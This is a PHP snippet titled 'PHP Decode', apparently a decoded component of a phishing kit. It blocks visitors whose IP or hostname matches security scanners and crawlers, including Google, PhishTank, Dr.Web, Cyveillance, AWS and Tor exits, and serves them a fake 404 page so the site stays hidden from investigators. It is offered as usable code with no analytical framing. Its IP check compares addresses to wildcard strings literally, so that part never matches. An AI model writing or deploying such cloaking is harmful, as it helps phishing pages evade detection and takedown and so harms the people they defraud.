PHP Decode

<?php 
 
error_reporting(0); 
 
/* 
 
 */ 
 
$IP_Connected = $_SERVER['REMOTE_ADDR']; 
 $IP_Banned = array( 
     "^66.102.*.*", 
     "^38.100.*.*", 
     "^107.170.*.*", 
     "^149.20.*.*", 
     "^38.105.*.*", 
     "^74.125.*.*", 
     "^66.150.14.*", 
     "^54.176.*.*", 
     "^38.100.*.*", 
     "^184.173.*.*", 
     "^66.249.*.*", 
     "^128.242.*.*", 
     "^72.14.192.*", 
     "^208.65.144.*", 
     "^74.125.*.*", 
     "^209.85.128.*", 
     "^216.239.32.*", 
     "^74.125.*.*", 
     "^207.126.144.*", 
     "^173.194.*.*", 
     "^64.233.160.*", 
     "^72.14.192.*", 
     "^66.102.*.*", 
     "^64.18.*.*", 
     "^194.52.68.*", 
     "^194.72.238.*", 
     "^62.116.207.*", 
     "^212.50.193.*", 
     "^69.65.*.*", 
     "^50.7.*.*", 
     "^131.212.*.*", 
     "^46.116.*.* ", 
     "^62.90.*.*", 
     "^89.138.*.*", 
     "^82.166.*.*", 
     "^85.64.*.*", 
     "^85.250.*.*", 
     "^89.138.*.*", 
     "^93.172.*.*", 
     "^109.186.*.*", 
     "^194.90.*.*", 
     "^212.29.192.*", 
     "^212.29.224.*", 
     "^212.143.*.*", 
     "^212.150.*.*", 
     "^212.235.*.*", 
     "^217.132.*.*", 
     "^50.97.*.*", 
     "^217.132.*.*", 
     "^209.85.*.*", 
     "^66.205.64.*", 
     "^204.14.48.*", 
     "^64.27.2.*", 
     "^67.15.*.*", 
     "^202.108.252.*", 
     "^193.47.80.*", 
     "^64.62.136.*", 
     "^66.221.*.*", 
     "^64.62.175.*", 
     "^198.54.*.*", 
     "^192.115.134.*", 
     "^216.252.167.*", 
     "^193.253.199.*", 
     "^69.61.12.*", 
     "^64.37.103.*", 
     "^38.144.36.*", 
     "^64.124.14.*", 
     "^206.28.72.*", 
     "^209.73.228.*", 
     "^158.108.*.*", 
     "^168.188.*.*", 
     "^66.207.120.*", 
     "^167.24.*.*", 
     "^192.118.48.*", 
     "^67.209.128.*", 
     "^12.148.209.*", 
     "^12.148.196.*", 
     "^193.220.178.*", 
     "68.65.53.71", 
     "^198.25.*.*", 
     "^64.106.213.*", 
     "54.228.218.117", 
     "^54.228.218.*", 
     "185.28.20.243", 
     "^185.28.20.*", 
     "217.16.26.166", 
     "^217.16.26.*" 
 ); 
if(in_array($IP_Connected,$IP_Banned)){ 
    $errors = '<h1>404 Not Found</h1>The page that you have requested could not be found.<br>'; 
   // $errors .= gethostbyaddr($_SERVER['REMOTE_ADDR']).'<br>'; 
  // $errors .= php_uname(); 
    die($errors); 
} 
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); 
$blocked_words = array("drweb","Dr.Web","hostinger","scanurl","above","google","facebook","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",); 
foreach($blocked_words as $word) { 
    if (substr_count($hostname, $word) > 0) { 
        header("HTTP/1.0 404 Not Found"); 
        die("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
 
    } 
} 
 
 ?>